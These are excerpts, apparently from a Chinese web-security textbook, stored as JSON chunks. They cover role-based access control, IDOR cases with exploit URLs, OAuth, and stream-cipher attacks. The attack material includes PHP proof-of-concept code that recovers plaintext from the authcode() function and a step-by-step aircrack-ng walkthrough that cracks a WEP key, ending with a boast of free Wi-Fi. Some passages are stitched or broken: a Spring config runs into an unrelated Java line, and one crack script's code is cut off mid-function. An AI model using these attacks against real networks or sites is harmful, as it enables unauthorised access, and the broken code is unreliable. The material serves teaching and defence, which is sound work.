    {"text": "Spring Security提供两种权限管理方式，一种是“基于URL的访问控制”，一种是“基于method的访问控制”。 这两种访问控制都是RBAC模型的实现，换言之，在Spring Security中都是验证该用户所属的角色，以决定是否授权。 对于“基于URL的访问控制”，Spring Secu-rity使用配置文件对访问URL的用户权限进行设定，如下： <sec:http> <sec:intercept-url pattern=\"/ president_portal.do**\" access=\"ROLE_PRESIDENT\" /> <sec:intercept-url pattern=\"/ manager_portal.do**\" access=\"ROLE_MANAGER\" /> <sec:intercept-url pattern=\"/**\" access=\"ROLE_USER\" /> <sec:form-login /> <sec:logout /> </sec:http> 不同的URL对于能访问其的角色有着不同的要求。 Spring Security还支持“基于表达式的访问控制”，这使得访问控制的方法更加灵活。 <http use-expressions=\"true\"> <intercept-url pattern=\"/admin*\" access=\"hasRole('admin') and public List<Contact> getAll(); 虽然Spring Security的权限管理功能非常强大，但它缺乏一个管理界面可供用户灵活配置，因此每次调整权限时，都需要重新修改配置文件或代码。"},
    {"text": "除了Spring Security外，在PHP的流行框架“Zend Framework”中，使用的Zend ACL实现了一些基础的权限管理。 不同于Spring Security使用配置文件管理权限，Zend ACL提供的是API级的权限框架。"},
    {"text": "其实现方式如下： $acl = new Zend_Acl(); $acl->addRole(new Zend_Acl_Role('guest')) ->addRole(new Zend_Acl_Role('member')) ->addRole(new Zend_Acl_Role('admin')); $parents = array('guest', 'member', 'admin'); $acl->addRole(new Zend_Acl_Role('someUser'), $parents); $acl->add(new Zend_Acl_Resource('someResource')); $acl->deny('guest', 'someResource'); $acl->allow('member', 'someResource'); echo $acl->isAllowed('someUser', 'someResource') ? 'allowed' :'denied'; $acl = new Zend_Acl(); 权限管理其实是业务需求上的一个问题，需要根据业务的不同需求来实现不同的权限管理。"},
    {"text": "不同角色的权限有高低之分。 高权限角色访问低权限角色的资源往往是被允许的，而低权限角色访问高权限角色的资源往往则被禁止。 如果一个本属于低权限角色的用户通过一些方法能够获得高权限角色的能力，则发生了“越权访问”。"},
    {"text": "优酷网用户越权访问问题（漏洞编号wooyun-2010-0129） 用户登录后，可以通过以下方式查看他人的来往信件（只要更改下面地址的数字id即可），查看和修改他人的专辑信息。"},
    {"text": "http://u.youku.com/my_mail/ type_read_ref_inbox_id_52379500_desc_1? __rt=1&__ro=myInboxList http://u.youku.com/my_mail/ type_read_ref_outbox_id_52380790_desc_1? __rt=1&__ro=myOutboxList http://u.youku.com/my_video/ type_editfolder_step_1_id_4774704? __rt=1&__ro=myPlaylistList 漏洞分析：URL经过rewrite后将参数映射成URL路径，但这并不妨碍通过修改用户id来实现攻击。"},
    {"text": "来伊份购物网站越权访问问题（漏洞编号wooyun-2010-01576） 来伊份购物网站没有对用户进行权限控制，通过变化URL中的id参数即可查看对应id的个人姓名、地址等隐私信息。"},
    {"text": "用户A与用户B可能都属于同一个角色RoleX，但是用户A与用户B都各自拥有一些私有数据，在正常情况下，应该只有用户自己才能访问自己的私有数据。 但是在RBAC这种“基于角色的访问控制”模型下，系统只会验证用户A是否属于角色RoleX，而不会判断用户A是否能访问只属于用户B的数据DataB，因此，发生了越权访问。"},
    {"text": "最后，如果在系统已经上线后再来处理数据级访问控制问题，则可能会涉及跨表、跨库查询，对系统的改动较大，同时也可能会影响到性能。 这种种原因导致了现在数据级权限管理并没有很通用的解决方案，一般是具体问题具体解决。"},
    {"text": "OAuth委员会实际上是从OpenID委员会中分离出来的（2006年12月），OAuth的设计原本想弥补OpenID中的一些缺陷或者说不够方便的地方，但后来发现需要设计一个全新的协议。"},
    {"text": "比如在人人网上，想要导入用户MSN里的好友，在没有OAuth时，可能需要用户向人人网提供MSN用户名和密码。 人人网要求用户输入MSN密码 这种做法使得人人网会持有用户的MSN账户和密码，虽然人人网承诺持有密码后的安全，但这其实扩大了攻击面，用户也难以无条件地信任人人网。 而OAuth则解决了这个信任的问题，它使得用户在不需要向人人网提供MSN用户名和密码的情况下，可以授权MSN将用户的好友名单提供给人人网。"},
    {"text": "在OAuth 1.0中，涉及3个角色，分别是： Consumer：消费方（Client） Service Provider：服务提供方（Server） User：用户（Resource Owner） 在新版本的OAuth中，又被称为Client、Server、Resource Owner。"},
    {"text": "假设Jane在faji.com上有两张照片，她想将这两张照片分享到beppa.com，通过OAuth，这个过程是如何实现的呢？ Jane在beppa.com上，选择要从faji.com上分享照片。 在beppa.com后台，则会创建一个临时凭证（Temporary Credentials），稍后Jane将持此临时凭证前往faji.com。 然后页面跳转到faji.com的OAuth页面，并要求Jane登录。"},
    {"text": "登录成功后，faji.com会询问Jane是否授权beppa.com访问Jane在faji.com里的私有照片。 如果Jane授权成功（点击“Approve”按钮），faji.com会将Jane带来的临时凭证（Temporary Credentials）标记为“Jane已经授权”，同时跳转回beppa.com，并带上临时凭证（Temporary Cre-dentials）。 凭此，beppa.com知道它可以去获取Jane的私有照片了。"},
    {"text": "新浪微博的OAuth使用过程 OAuth的发展道路并非一帆风顺，OAuth 1.0也曾经出现过一些漏洞，因此OAuth也出过几个修订版本，最终才在2010年4月定稿OAuth 1.0为 RFC 5849，在这个版本中，修复了所有已知的安全问题，并对实现OAuth协议需要考虑的安全因素给出了建议。"},
    {"text": "OAuth标准中的安全建议 事实上，自己完全实现一个OAuth协议对于中小网站来说并没有太多的必要，且OAuth涉及诸多加密算法、伪随机数算法等容易被程序员误用的地方，因此使用第三方实现的OAuth库也是一个较好的选择。 目前有以下这些比较知名的OAuth库可供开发者选择： ActionScript/Flash oauth-as3 http://code.google.com/p/oauth-as3/ A flex oauth client http://www.arcgis.com/home/item.html? id=ff6ffa302ad04a7194999f2ad08250d7 C/C++ QTweetLib http://github.com/minimoog/ QTweetLib libOAuth http://liboauth.sourceforge.net/ clojure clj-oauth http://github.com/mattrepl/clj- oauth .net oauth-dot-net http://code.google.com/p/oauth- dot-net/ DotNetOpenAuth http://www.dotnetopenauth.net/ Erlang erlang-oauth http://github.com/tim/erlang- oauth Java Scrible http://github.com/fernandezpablo85/ scribe-java oauth-signpost http://code.google.com/p/ oauth-signpost/ JavaScript oauth in js http://oauth.googlecode.com/svn/ code/javascript/ Objective-C/Cocoa & iPhone programming OAuthCore http://bitbucket.org/atebits/ oauthcore MPOAuthConnection http://code.google.com/p/ mpoauthconnection/ Objective-C OAuth http://oauth.googlecode.com/svn/code/obj-c/ Perl Net::OAuth http://oauth.googlecode.com/svn/ code/perl/ PHP tmhOAuth http://github.com/themattharris/ tmhOAuth oauth-php http://code.google.com/p/oauth-php/ Python python-oauth2 http://github.com/brosner/ python-oauth2 Qt qOauth http://github.com/ayoy/qoauth Ruby Oauth ruby gem http://oauth.rubyforge.org/ Scala DataBinder Dispatch http://dispatch.databinder.net/About OAuth 1.0已经成为了RFC标准，但OAuth2.0仍然在紧锣密鼓的制定中，到2011年年底已经有了一个较为稳定的版本。"},
    {"text": "第11章 加密算法与随机数 加密算法与伪随机数算法是开发中经常会用到的东西，但加密算法的专业性非常强，在Web开发中，如果对加密算法和伪随机数算法缺乏一定的了解，则很可能会错误地使用它们，最终导致应用出现安全问题。"},
    {"text": "常见的加密算法通常分为分组加密算法与流密码加密算法两种，两者的实现原理不同。 分组加密算法基于“分组”（block）进行操作，根据算法的不同，每个分组的长度可能不同。 分组加密算法的代表有DES、3-DES、Blowfish、IDEA、AES等。"},
    {"text": "已知明文攻击 攻击者除了能得到一些密文外，还能得到这些密文对应的明文。 本章中针对流密码的一些攻击为已知明文攻击。 选择明文攻击 攻击者不仅能得到一些密文和明文，还能选择用于加密的明文。 选择密文攻击 攻击者可以选择不同的密文来解密。 本章中所提到的“Padding Oracle Attack”就是一种选择密文攻击。"},
    {"text": "11.2 Stream Cipher Attack 流密码是常用的一种加密算法，与分组加密算法不同，流密码的加密是基于异或（XOR）操作进行的，每次都只操作一个字节。"},
    {"text": "假设有密钥C，明文A，明文B，那么，XOR加密可表示为： E(A) = A xor C E(B) = B xor C 密文是公之于众的，因此很容易就可计算： E(A) xor E(B) 因为两个相同的数进行XOR运算结果为0，由此可得： E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B 从而得到了： E(A) xor E(B) = A xor B 这意味着4个数据中，只需要知道3个，就可以推导出剩下的一个。"},
    {"text": "对这个函数的分析如下： // $string： 明文 或 密文 // $operation：DECODE表示解密，其他表示加密 // $key： 密匙 // $expiry：密文有效期 //字符串解密/加密 function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度，相同的明文会生成不同密 文就是依靠动态密匙 (初始化向量IV) $ckey_length = 4; // 随机密钥长度 取值 0～32 // 加入随机密钥，可以令密文无 任何规律，即便是原文和密钥完全相同，加密结果 也会每次不同 // 增大破解难度（实际上就是 IV） // 取值越大，密文变动规律越 大，密文变化 = 16 的 $ckey_length 次方 // 当此值为 0 时，则不产生随 机密钥 // 密匙 $key = md5($key ? $key : UC_KEY); // 密匙a会参与加/解密 $keya = md5(substr($key, 0, 16)); // 密匙b会用来做数据完整性验证 $keyb = md5(substr($key, 16, 16)); // 密匙c用于变化生成的密文(初始化向量IV) $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : ''; // 参与运算的密匙 $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); // 明文，前10位用来保存时间戳，解密时验证 数据有效性，10到26位用来保存$keyb(密匙b) //解密时会通过这个密匙验证数据完整性 // 如果是解码的话，会从第$ckey_length位开 始，因为密文前$ckey_length位保存动态密匙 //以保证解密正确 $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sp rintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法，打乱密匙簿，增加随机 性，好像很复杂，实际上并不会增加密文的强度 for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加/解密部分 for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或，再转成字 符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { // 验证数据有效性，请看未加密明文的格 式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里，这也是为 什么同样的明文，产生不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字 符，复制过程可能会丢失，所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); } } 这个函数看似经过了一系列的复杂调用，其实到了最后，仍然还是逐字节地进行XOR运算，其实现XOR加密过程的代码只有一行： $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); 再注意其他几个细节。"},
    {"text": "function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); authcode()这个函数的常见调用方式为： authcode($plaintext, \"ENCODE\" , UC_KEY) 其中，UC_KEY为配置在每个应用中的密钥，但这个密钥并非真正用于XOR运算的那个密钥。"},
    {"text": "$ckey_length = 4; …… $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; …… $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } 初始化向量的作用就是一次一密。"},
    {"text": "<?php define('UC_KEY','aaaaaaaaaaaaaaaaaaaaaaaaaaa' ); $plaintext1 = \"aaaabbbb\"; $plaintext2 = \"ccccbbbb\"; echo \"plaintext1 is: \".$plaintext1.\"<br>\"; echo \"plaintext2 is: \".$plaintext2.\"<br>\"; $cipher1 = base64_decode(substr(authcode($plaintext1, \"ENCODE\" , UC_KEY), 0)); echo \"Cipher1 is: \".hex($cipher1).'<br><br>'; $cipher2 = base64_decode(substr(authcode($plaintext2, \"ENCODE\" , UC_KEY), 0)); echo \"Cipher2 is: \".hex($cipher2).'<br><br>'; function hex($str){ $result = ''; for ($i=0;$i<strlen($str);$i++){ $result .= \"\\\\x\".ord($str[$i]); } return $result; } echo \"crack result is :\".crack($plaintext1, $cipher1, $cipher2); function crack($plain, $cipher_p, $cipher_t){ $target = ''; $len = strlen($plain); $tmp_p = substr($cipher_p, 26); echo hex($tmp_p).\"<br>\"; $tmp_t = substr($cipher_t, 26); echo hex($tmp_t).\"<br>\"; for ($i=0;$i<strlen($plain);$i++){ $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i])); } return $target; } echo \"crack result is :\".crack($plaintext1, $cipher1, $cipher2); function crack($plain, $cipher_p, $cipher_t){ $target = ''; $len = strlen($plain); $tmp_p = substr($cipher_p, 26); echo hex($tmp_p).\"<br>\"; $tmp_t = substr($cipher_t, 26); echo hex($tmp_t).\"<br>\"; for ($i=0;$i<strlen($plain);$i++){ $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i])); } return $target; } function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { //$ckey_length = 4; $ckey_length = 0; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } $xx = ''; // real key for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $xx .= chr($box[($box[$a] + $box[$j]) % 256]); $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } echo \"xor key is: \".hex($xx).\"<br>\"; if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?> 结果如下： 输入的明文1是“aaaabbbb”，明文2是“cc-ccbbbb”。"},
    {"text": "根据算法，密文前10位用于验证时间，10到26位用于验证完整性，因此真正的密文是从第27位开始的，在此分别如下： 根据之前的公式： E(A) xor E(B) = A xor B 已知任意3个值即可推算出剩下的一个值，因此有： aaaabbbb XOR ‘\\x227\\x42\\x31\\x204\\x251\\x24\\x114\\x89’ XOR ‘\\x225\\x40\\x29\\x206\\x251\\x24\\ x114\\x89’ = ccccbbbb 从而还原出了明文。"},
    {"text": "这个过程在crack()函数中描述： function crack($plain, $cipher_p, $cipher_t){ $target = ''; $len = strlen($plain); $tmp_p = substr($cipher_p, 26); echo hex($tmp_p).\"<br>\"; $tmp_t = substr($cipher_t, 26); echo hex($tmp_t).\"<br>\"; for ($i=0;$i<strlen($plain);$i++){ $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i])); } return $target; } 这里之所以能攻击成功，是因为第一次加密时使用的密钥和第二次使用的密钥相同，因此我们才能通过XOR运算还原出明文，形成 Reused KeyAttack。 第一次加密时的key： 第二次加密时的key： 但如果存在初始化向量，则相同明文每次加密的结果均不同，将增加破解的难度，即不受此攻击影响。"},
    {"text": "11.2.2 Bit-flipping Attack 再次回到公式上来： E(A) xor E(B) = A xor B 由此可以得出： A xor E(A) xor B = E(B) 这意味着当知道A的明文、B的明文、A的密文时，可以推导出B的密文。"},
    {"text": "假设明文是： username+role 那么当攻击者注册了一个普通用户A时，获取了A的Cookie为Cookie(A)，就有可能构造出管理员的Cookie，从而获得管理员权限： (accountA+member) xor Cookie(A) xor (admin_account+manager) = Cookie(admin) 在密码学中，攻击者在不知道明文的情况下，通过改变密文，使得明文按其需要的方式发生改变的攻击方式，被称为Bit-flipping Attack。"},
    {"text": "解决Bit-flipping攻击的方法是验证密文的完整性，最常见的方法是增加带有KEY的MAC（消息验证码，Message Authentication Code），通过MAC验证密文是否被篡改。"},
    {"text": "HMAC的实现过程 在authcode()中，其实已经实现了HMAC，所以攻击者在不知晓加密KEY的情况下，是无法完成Bit-flipping攻击的。 注意这段代码： if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26). $keyb), 0, 16)) { return substr($result, 26); } else { return ''; } 其中，密文的前10个字节用于验证时间是否有效，10～26个字节即为HMAC，用于验证密文是否被篡改，26个字节之后才是真正的密文。 HMAC由以下代码实现： md5(substr($result, 26).$keyb) 这个值与两个因素有关，一个是真正的密文：substr($result, 26)； 一个是$keyb，而$keyb又是由加密密钥KEY变化得到的，因此在不知晓KEY的情况下，这个HMAC的值是无法伪造出来的。"},
    {"text": "为了验证这一点，调整一下破解程序，如下： <?php define('UC_KEY','aaaaaaaaaaaaaaaaaaaaaaaaaaa' ); $plaintext1 = \"aaaabbbbxxxx\"; $plaintext2 = \"ccccbbbbcccc\"; $guess_result = \"\"; $time_start = time(); $dict = array(); global $ckey_length; $ckey_length = 4; echo \"Collecting Dictionary(XOR Keys).\\n\"; $cipher2 = authcode($plaintext2, \"ENCODE\" , UC_KEY); $counter = 0; for (;;){ $counter ++; $cipher1 = authcode($plaintext1, \"ENCODE\" , UC_KEY); $keyc1 = substr($cipher1, 0, $ckey_length); $cipher1 = base64_decode(substr($cipher1, $ckey_length)); $dict[$keyc1] = $cipher1; if ( $counter%1000 == 0){ echo \".\"; if ($guess_result = guess($dict, $cipher2)){ break; } } } array_unique($dict); echo \"\\nDictionary Collecting Finished..\\n\"; echo \"Collected \".count($dict).\" XOR Keys\\n\"; function guess($dict, $cipher2){ global $plaintext1,$ckey_length; $keyc2 = substr($cipher2, 0, $ckey_length); $cipher2 = base64_decode(substr($cipher2, $ckey_length)); for ($i=0; $i<count($dict); $i++){ if (array_key_exists($keyc2, $dict)){ echo \"\\nFound key in dictionary!\\n\"; echo \"keyc is: \".$keyc2.\"\\n\"; return crack($plaintext1,$dict[$keyc2], $cipher2); break; } } return False; } echo \"\\ncounter is:\".$counter.\"\\n\"; $time_spend = time() - $time_start; echo \"crack time is: \".$time_spend.\" seconds \\n\"; echo \"crack result is :\".$guess_result.\"\\n\"; function crack($plain, $cipher_p, $cipher_t){ $target = ''; $tmp_p = substr($cipher_p, 26); //echo hex($tmp_p).\"\\n\"; $tmp_t = substr($cipher_t, 26); //echo hex($tmp_t).\"\\n\"; for ($i=0;$i<strlen($plain);$i++){ $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i])); } return $target; } function hex($str){ $result = ''; for ($i=0;$i<strlen($str);$i++){ $result .= \"\\\\x\".ord($str[$i]); } return $result; } function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { global $ckey_length; //$ckey_length = 0; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?> 运行结果如下： 在大约16秒后，共遍历了19295个不同的XOR KEY，找到了相同的IV，顺利破解出明文。"},
    {"text": "11.3 WEP破解 流密码加密算法存在“Reused Key Attack”和“Bit-flipping Attack”等攻击方式。 而在现实中，一种最著名的针对流密码的攻击可能就是WEP密钥的破解。"},
    {"text": "Berkly的Nikita Borisov, Ian Goldberg以及David Wagner共同完成了一篇很好的论文：“Se-curity of the WEP algorithm”，其中深入阐述了WEP破解的理论基础。"},
    {"text": "root@segfault:/home/cg/eric-g# airodump-ng -- bssid 00:18:F8:F4:CF:E4 -c 9 ath2 -w eric-g CH 9 ][ Elapsed: 4 mins ][ 2007-11-21 23:08 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:18:F8:F4:CF:E4 21 21 2428 26251 0 9 48 WEP WEP OPN eric-G BSSID STATION PWR Lost Packets Probes 00:18:F8:F4:CF:E4 06:19:7E:8E:72:87 23 0 34189 第二步：与目标网络进行协商。 root@segfault:/home/cg/eric-g# aireplay-ng -1 600 -e eric-G -a 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87 ath2 22:53:23 Waiting for beacon frame (BSSID: 00:18:F8:F4:CF:E4) 22:53:23 Sending Authentication Request 22:53:23 Authentication successful 22:53:23 Sending Association Request 22:53:24 Association successful :-) 22:53:39 Sending keep-alive packet 22:53:54 Sending keep-alive packet 22:54:09 Sending keep-alive packet 22:54:24 Sending keep-alive packet 22:54:39 Sending keep-alive packet 22:54:54 Sending keep-alive packet 22:55:09 Sending keep-alive packet 22:55:24 Sending keep-alive packet 22:55:39 Sending keep-alive packet 22:55:54 Sending keep-alive packet 22:55:54 Got a deauthentication packet! 22:55:57 Sending Authentication Request 22:55:59 Sending Authentication Request 22:55:59 Authentication successful 22:55:59 Sending Association Request 22:55:59 Association successful :-) 22:56:14 Sending keep-alive packet ***KEEP THAT RUNNING 第三步：生成密钥流。 root@segfault:/home/cg/eric-g# aireplay-ng -5 -b 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87 ath2 22:59:41 Waiting for a data packet... Read 873 packets... Size: 352, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:18:F8:F4:CF:E4 Dest. MAC = 01:00:5E:7F:FF:FA Source MAC = 00:18:F8:F4:CF:E2 0x0000: 0842 0000 0100 5e7f fffa 0018 f8f4 cfe4 .B....^........ 0x0010: 0018 f8f4 cfe2 c0b5 121a 4600 0e18 0f3d ..........F....= 0x0020: bd80 8c41 de34 0437 8d2d c97f 2447 3d81 ...A.4.7.-.$G=. 0x0030: 9bdc 68da 06b2 18be 9cd6 9cb4 9443 8725 ..h..........C.% 0x0040: 87f6 9a14 1ff9 0cfa bd36 862e ec54 7215 .........6...Tr. 0x0050: 335b 4a91 d6a4 caae 5a58 a736 6230 87d9 3[J.....ZX.6b0.. 0x0060: 4e14 7617 21c6 eda4 9b0d 3a00 0b4f 47ab N.v.!.....:..OG. 0x0070: a529 dedf 4c13 880c a1e6 37f7 50e6 599c .)..L.....7.P.Y. 0x0080: 0a4c 0b7f 24ae b019 ef2f 36b9 c499 8643 .L.$..../6....C 0x0090: 6592 5835 23e5 c8e9 d1b9 3d36 1fe5 ecfe e.X5#.....=6.... 0x00a0: 510b 51ba 4fe4 e2ed d33b 0459 ca68 82b8 Q.Q.O....;.Y.h.. 0x00b0: c856 ea70 829f c753 1614 290e d051 392f .V.p...S..)..Q9/ 0x00c0: fa65 cbc6 c5f8 24b1 cdbd 94e5 08c3 2dd4 .e....$.......-. 0x00d0: 6e4b 983b dc82 b2cd b3f1 dab5 b816 6188 nK.;..........a. --- CUT --- Use this packet ? y Saving chosen packet in replay_src-1121-230028.cap 23:00:38 Data packet found! 23:00:38 Sending fragmented packet 23:00:38 Got RELAYED packet!! 23:00:38 Thats our ARP packet! 23:00:38 Trying to get 384 bytes of a keystream 23:00:38 Got RELAYED packet!! 23:00:38 Thats our ARP packet! 23:00:38 Trying to get 1500 bytes of a keystream 23:00:38 Got RELAYED packet!! 23:00:38 Thats our ARP packet! Saving keystream in fragment-1121-230038.xor Now you can build a packet with packetforge- ng out of that 1500 bytes keystream 第四步：构造ARP包。 root@segfault:/home/cg/eric-g# packetforge- ng -0 -a 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87 -k 255.255.255.255 -l 255.255.255.255 -w arp -y *.xor Wrote packet to: arp 第五步：生成自己的ARP包。 root@segfault:/home/cg/eric-g# aireplay-ng -2 -r arp -x 150 ath2 Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:18:F8:F4:CF:E4 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 06:19:7E:8E:72:87 0x0000: 0841 0201 0018 f8f4 cfe4 0619 7e8e 7287 .A..........~.r. 0x0010: ffff ffff ffff 8001 1f1a 4600 c9d3 e5e7 ..........F..... 0x0020: d65a 6a63 0b51 bb60 8390 a8b4 947d 456f .Zjc.Q.`.....}Eo 0x0030: 3a05 25b2 7464 7db7 c49b d38a f789 822c :.%.td}........, 0x0040: 83a8 93c5 .... Use this packet ? y Saving chosen packet in replay_src-1121-230224.cap 第六步：开始破解。"},
    {"text": "cg@segfault:~/eric-g$ aircrack-ng -z eric- g-05.cap Opening eric-g-05.cap Read 64282 packets. # BSSID ESSID Encryption 1 00:18:F8:F4:CF:E4 eric-G WEP (21102 IVs) Choosing first network as target. Attack will be restarted every 5000 captured ivs. Starting PTW attack with 21397 ivs. Aircrack-ng 0.9.1 [00:00:11] Tested 78120/140000 keys (got 22918 IVs) KB depth byte(vote) 0 3/ 5 34( 111) 70( 109) 42( 107) 2C( 106) B9( 106) E3( 106) 1 1/ 14 34( 115) 92( 110) 35( 109) 53( 109) 33( 108) CD( 107) 2 6/ 18 91( 114) E7( 114) 21( 111) 0E( 110) 88( 109) C6( 109) 3 2/ 31 37( 109) 80( 109) 5F( 108) 92( 108) 9E( 108) 9B( 107) 4 0/ 2 29( 129) 55( 114) AD( 112) 6A( 111) BB( 110) C1( 110) KEY FOUND! [ 70:34:91:37:29 ] Decrypted correctly: 100% 最终成功破解出WEP的KEY，可以免费蹭网了！"},
    {"text": "ECB模式（电码簿模式）是最简单的一种加密模式，它的每个分组之间相对独立，其加密过程如下： 但ECB模式最大的问题也是出在这种分组的独立性上：攻击者只需要对调任意分组的密文，在经过解密后，所得明文的顺序也是经过对调的。"},
    {"text": "ECB模式可以交换密文或明文的顺序 验证如下： ecb_mode.py: from Crypto.Cipher import DES3 import binascii def hex_s(str): re = '' for i in range(0,len(str)): re += \"\\\\x\"+binascii.b2a_hex(str[i]) return re key = '1234567812345678' plain = 'aaaabbbbaaaabbbb' plain1 = 'xaaabbbbaaaabbbb' plain2 = 'aaaabbbbxaaabbbb' o = DES3.new(key, 1) # arg[1] == 1 means ECB MODE print \"1 : \"+hex_s(o.encrypt(plain)) print \"2 : \"+hex_s(o.encrypt(plain1)) print \"3 : \"+hex_s(o.encrypt(plain2)) 分别对三段明文执行3-DES加密，所得结果如下： [root@vps tmp]#python ecb_mode.py 1 : \\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07\\xab \\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07 2 : \\x32\\xd1\\xe9\\x5a\\x49\\x0f\\xfe\\x80\\xab \\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07 3 : \\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b \\x07\\x32\\xd1\\xe9\\x5a\\x49\\x0f\\xfe\\x80 首先看看plain的值： aaaabbbbaaaabbbb 3-DES每个分组为8个字节，因此明文会被分为两组： aaaabbbb aaaabbbb plain对应的密文为： \\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07\\xab\\xf1\\x3a \\x33\\x59\\x35\\x3b\\x07 将其密文分为两组： \\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07 \\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07 可见同样的明文经过加密后得到了同样的密文。 再看看plain1，它与plain只在第一个字节上存在差异： xaaabbbb aaaabbbb 加密后的密文为： \\x32\\xd1\\xe9\\x5a\\x49\\x0f\\xfe\\x80 \\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07 对比plain加密后的密文，可以看到，仅仅block 1的密文不同，而block 2的密文是完全一样的。"},
